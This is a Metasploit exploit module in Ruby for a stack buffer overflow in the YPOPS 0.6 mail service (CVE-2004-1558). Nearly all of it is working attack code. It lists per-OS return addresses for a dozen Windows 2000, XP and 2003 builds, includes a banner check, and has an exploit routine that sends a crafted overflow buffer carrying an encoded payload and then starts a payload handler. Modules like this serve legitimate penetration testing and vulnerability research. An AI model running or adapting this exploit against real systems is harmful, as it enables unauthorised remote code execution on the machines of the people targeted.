## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Smtp def initialize(info = {}) super(update_info(info, 'Name' => 'YPOPS 0.6 Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in the YPOPS POP3 service. This is a classic stack buffer overflow for YPOPS version 0.6. Possibly Affected version 0.5, 0.4.5.1, 0.4.5. Eip point to jmp ebx opcode in ws_32.dll }, 'Author' => [ 'acaro ' ], 'References' => [ [ 'CVE', '2004-1558'], [ 'OSVDB', '10367'], [ 'BID', '11256'], [ 'URL', 'http://www.securiteam.com/windowsntfocus/5GP0M2KE0S.html'], ], 'Platform' => 'win', 'Privileged' => false, 'Payload' => { 'Space' => 1200, 'BadChars' => "\x00\x25", 'MinNops' => 106, }, 'Targets' => [ [ 'Windows 2000 SP0 Italian', { 'Ret' => 0x74fe6113, 'Offset' => 503 }, ], [ 'Windows 2000 Advanced Server Italian SP4', { 'Ret' => 0x74fe16e2, 'Offset' => 503 }, ], [ 'Windows 2000 Advanced Server SP3 English', { 'Ret' => 0x74fe22f3, 'Offset' => 503 }, ], [ 'Windows 2000 SP0 English', { 'Ret' => 0x75036113, 'Offset' => 503 }, ], [ 'Windows 2000 SP1 English', { 'Ret' => 0x750317b2, 'Offset' => 503 }, ], [ 'Windows 2000 SP2 English', { 'Ret' => 0x7503435b, 'Offset' => 503 }, ], [ 'Windows 2000 SP3 English', { 'Ret' => 0x750322f3, 'Offset' => 503 }, ], [ 'Windows 2000 SP4 English', { 'Ret' => 0x750316e2, 'Offset' => 503 }, ], [ 'Windows XP SP0-SP1 English', { 'Ret' => 0x71ab1636, 'Offset' => 503 }, ], [ 'Windows XP SP2 English', { 'Ret' => 0x71ab773b, 'Offset' => 503 }, ], [ 'Windows 2003 SP0 English', { 'Ret' => 0x71c04202, 'Offset' => 503 }, ], [ 'Windows 2003 SP1 English', { 'Ret' => 0x71c05fb0, 'Offset' => 503 }, ], ], 'DisclosureDate' => 'Sep 27 2004')) end def check connect disconnect banner.gsub!(/\n/, '') if banner =~ /YahooPOPs! Simple Mail Transfer Service Ready/ print_status("Vulnerable SMTP server: #{banner}") return Exploit::CheckCode::Detected end print_status("Unknown SMTP server: #{banner}") return Exploit::CheckCode::Safe end def exploit connect pattern = rand_text_alpha(target['Offset'] - payload.encoded.length) + payload.encoded + [target.ret].pack('V') + "\n" print_status("Trying #{target.name} using jmp ebx at #{"0x%.8x" % target.ret}") sock.put(pattern) handler disconnect end end